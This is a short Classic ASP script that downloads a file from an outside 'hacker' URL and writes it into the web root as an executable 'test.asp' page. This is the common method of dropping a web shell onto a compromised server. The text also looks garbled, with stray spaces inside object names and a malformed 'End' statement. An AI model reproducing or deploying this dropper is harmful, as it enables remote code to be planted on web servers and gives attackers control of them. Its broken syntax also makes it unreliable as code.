<%
Function getpage (URL)
Dim Retrieval
Set retrieval = Createobject ("Microsoft. XMLHTTP ")
With Retrieval
. Open "get", URL, false ',"",""
. Send
Getpage = bytestobstr (. responsebody)
End
Set retrieval = nothing
End Function
Function bytestobstr (Body)
Dim objstream
Set objstream = server. Createobject ("ADODB. Stream ")
Objstream. type = 1
Objstream. mode = 3
Objstream. Open
Objstream. Write body
Objstream. Position = 0
Objstream. type = 2
Objstream. charset = "gb2312"
Bytestobstr = objstream. readtext
Objstream. Close
Set objstream = nothing
End Function
On Error resume next
Url = "http://www.heibai.org/hacker/daemon.txt"
Response. Write "start to get remoteCode........"
Wstr = getpage (URL)
Set FS = server. Createobject ("scripting. FileSystemObject ")
Set crfi = FS. createtextfile (server. mappath ("./") & "\ test. asp ")
Crfi. writeline (wstr)
Set crfi = nothing
Set FS = nothing
Response. Write "... <font color = Red> the test. asp file is generated successfully. </font>"
%>